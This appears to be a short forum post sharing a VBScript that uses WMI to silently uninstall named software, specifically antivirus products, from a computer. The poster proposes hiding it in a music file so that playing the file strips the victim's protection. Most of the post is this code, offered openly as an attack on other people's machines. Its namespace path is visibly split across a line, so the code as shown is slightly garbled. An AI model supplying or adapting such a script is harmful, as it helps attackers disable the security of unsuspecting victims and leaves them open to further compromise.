same concept but this uninstall any software on yu PC or other's , like say yu embedd this in a music file and when they play the file , you set the script to --->Where Name = 'norton antivirus'") and render the persons computer unprotected then you can .................change nothing just the name of the computer  and software you want to uninstall..


strComputer = "."
Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & strComputer & "
oot\cimv2")

Set colSoftware = objWMIService.ExecQuery("Select * from Win32_Product Where Name = 'kapersky antivirus'")

For Each objSoftware in colSoftware
    objSoftware.Uninstall()
Next